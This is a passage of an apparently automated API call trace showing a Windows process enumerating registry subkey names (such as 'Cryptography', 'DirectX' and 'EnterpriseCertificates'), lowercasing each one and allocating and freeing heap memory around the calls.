RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x90b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x90c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.552] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x90b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x90c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0041.552] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.552] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.552] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x90b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.553] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x90b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x90c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.553] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x90b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.553] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x90b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x90c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0041.553] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.553] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.554] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x90b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x90c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.554] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x90b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x90c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.554] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x90b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0041.554] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.554] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.554] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x90b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0041.555] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.555] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x90c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0041.555] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.555] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.555] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.555] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.555] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x90b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0041.555] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.555] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0041.555] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.555] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.555] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.555] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.555] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x90b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0041.555] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.555] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x90c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.556] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x90b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x90c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.556] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x90b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x90c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.556] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x90b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0041.556] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.556] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.556] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x90b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x90c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.557] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x90b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.557] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x90b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x90c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.557] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x90b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0041.557] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.557] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.558] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x90b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x90c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.558] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x90b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0041.558] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.558] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.558] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x90b930, cchName=0x104 